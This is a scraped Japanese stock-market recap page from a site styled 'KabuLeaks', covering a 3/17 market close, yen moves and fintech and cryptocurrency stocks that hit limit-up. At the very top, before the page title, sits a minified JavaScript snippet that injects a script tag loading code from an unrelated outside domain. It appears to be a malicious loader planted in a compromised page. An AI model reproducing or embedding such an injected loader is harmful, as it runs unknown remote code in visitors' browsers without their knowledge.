;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/17 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/17 大引け】

本日の日経平均株価は38円安と3日続落。後場は前場の買いの勢いが一転。替相場の急速な円高・ドル安、一時112円台を割り込むと、日経平均は値消しマイナス転換の前日159円安まで売られる場面があった。引けにかけては押し目買いも入り下げ渋ったものの戻りは限定的だった。業種別では、鉱業、建設業、石油石炭製品が値上がり率上位に。一方で、電気・ガス業、空運業、その他製品が値下がり率上位となった。

個別では、ヒト化TROP-2抗体に関して米国で特許付与決定の決定通知を受領した【4583】カイオムが3日連続のストップ高。また、本日のフィスコのビットコイン取引所の運営会社「フィスコ・コイン」を4月に設立発表も追い風、前日にオンラインゲームサイト「ゲソてん」の決済手段にビットコインを追加を発表した【6180】GMOメディアや特別利益を計上と発表を材料視の【8073】MAGねっとホールディングスが一時連日のストップ高、急伸となった。その他、仕手性強く有名な【6620】宮越ホールディングス。前日引け後の決算を好感の【3665】エニグモ。東証1部指定替えの【6826】本多通信工業などの上昇も目立った。

人気のテーマ株からは、フィスコのビットコイン取引所の運営会社「フィスコ・コイン」を4月に設立発表した【3807】フィスコのストップ高を筆頭にフィンテック関連、仮想通貨関連の人気が再燃し、子会社の【6634】ネクスグループ、【2315】SJIが大幅上昇したほか、一時期仮想通貨関連の本命として賑わった【8732】マネパなど人気を集めた。

明日は3連休前、不安定な為替動向を見極め睨みつつ、本日賑わったフィンテック、仮想通貨関連の短期売買狙いが無難か。本日の引け後には日銀が近く決済機構局内にフィンテックセンター設立との報道も出ており関連銘柄の動きは注視しておきいたい。